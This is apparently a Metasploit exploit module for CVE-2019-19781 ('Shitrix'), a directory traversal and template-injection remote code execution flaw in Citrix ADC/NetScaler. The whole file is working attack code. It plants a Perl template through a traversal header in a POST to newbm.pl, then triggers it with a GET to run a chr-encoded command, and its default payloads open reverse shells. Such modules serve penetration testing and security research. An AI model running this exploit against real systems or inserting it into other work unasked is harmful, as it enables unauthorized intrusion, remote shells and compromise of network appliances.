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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::CheckModule
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  include Msf::Exploit::FileDropper
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  include Msf::Module::Deprecated
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  moved_from 'exploit/linux/http/citrix_dir_traversal_rce'
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'                => 'Citrix ADC (NetScaler) Directory Traversal RCE',
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      'Description'         => %q{
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        This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka
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        NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.
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      },
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      'Author'              => [
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        'Mikhail Klyuchnikov',          # Discovery
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        'Project Zero India',           # PoC used by this module
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        'TrustedSec',                   # PoC used by this module
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        'James Brytan',                 # PoC contributed independently
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        'James Smith',                  # PoC contributed independently
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        'Marisa Mack',                  # PoC contributed independently
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        'Rob Vinson',                   # PoC contributed independently
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        'Sergey Pashevkin',             # PoC contributed independently
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        'Steven Laura',                 # PoC contributed independently
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        'mekhalleh (RAMELLA Sébastien)' # Module author (https://www.pirates.re/)
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      ],
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      'References'          => [
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        ['CVE', '2019-19781'],
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        ['EDB', '47901'],
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        ['EDB', '47902'],
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        ['URL', 'https://support.citrix.com/article/CTX267027/'],
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        ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
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        ['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']
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      ],
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      'DisclosureDate'      => '2019-12-17',
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      'License'             => MSF_LICENSE,
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      'Platform'            => ['python', 'unix'],
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      'Arch'                => [ARCH_PYTHON, ARCH_CMD],
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      'Privileged'          => false,
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      'Targets'             => [
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        ['Python',
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          'Platform'        => 'python',
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          'Arch'            => ARCH_PYTHON,
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          'Type'            => :python,
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          'DefaultOptions'  => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
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        ],
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        ['Unix Command',
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          'Platform'        => 'unix',
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          'Arch'            => ARCH_CMD,
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          'Type'            => :unix_cmd,
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          'DefaultOptions'  => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
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        ]
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      ],
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      'DefaultTarget'       => 0,
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      'DefaultOptions'      => {
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        'CheckModule'       => 'auxiliary/scanner/http/citrix_dir_traversal',
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        'HttpClientTimeout' => 3.5
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      },
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      'Notes'               => {
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        'AKA'               => ['Shitrix'],
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        'Stability'         => [CRASH_SAFE],
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        'Reliability'       => [REPEATABLE_SESSION],
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        'SideEffects'       => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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      }
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    ))
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    register_options([
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      OptString.new('TARGETURI', [true, 'Base path', '/'])
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    ])
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  end
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  def cmd_unix_generic?
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    datastore['PAYLOAD'] == 'cmd/unix/generic'
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  end
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  def exploit
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    print_status("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
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    vprint_status("Generated payload: #{payload.encoded}")
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    case target['Type']
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    when :python
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      execute_command(%(/var/python/bin/python2 -c "#{payload.encoded}"))
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    when :unix_cmd
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      if (res = execute_command(payload.encoded)) && cmd_unix_generic?
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        print_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, ''))
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      end
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    end
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  end
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  def execute_command(cmd, _opts = {})
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    filename = rand_text_alpha(8..42)
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    nonce    = rand_text_alpha(8..42)
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    res = send_request_cgi(
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      'method'      => 'POST',
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      'uri'         => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'),
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      'headers'     => {
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        'NSC_USER'  => "../../../netscaler/portal/templates/#{filename}",
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        'NSC_NONCE' => nonce
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      },
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      'vars_post'   => {
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        'url'       => rand_text_alpha(8..42),
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        'title'     => "[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]"
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      }
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    )
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    unless res && res.code == 200
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      print_error('No response to POST newbm.pl request')
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      return
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    end
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    res = send_request_cgi(
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      'method'      => 'GET',
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      'uri'         => normalize_uri(target_uri.path, "/vpn/../vpns/portal/#{filename}.xml"),
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      'headers'     => {
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        'NSC_USER'  => rand_text_alpha(8..42),
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        'NSC_NONCE' => nonce
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      },
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      'partial'     => true
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    )
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    unless res && res.code == 200
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      print_warning("No response to GET #{filename}.xml request")
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    end
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    register_files_for_cleanup(
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      "/netscaler/portal/templates/#{filename}.xml",
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      "/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2"
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    )
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    res
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  end
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  def chr_payload(cmd)
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    cmd.each_char.map { |c| "chr(#{c.ord})" }.join('.')
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  end
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end
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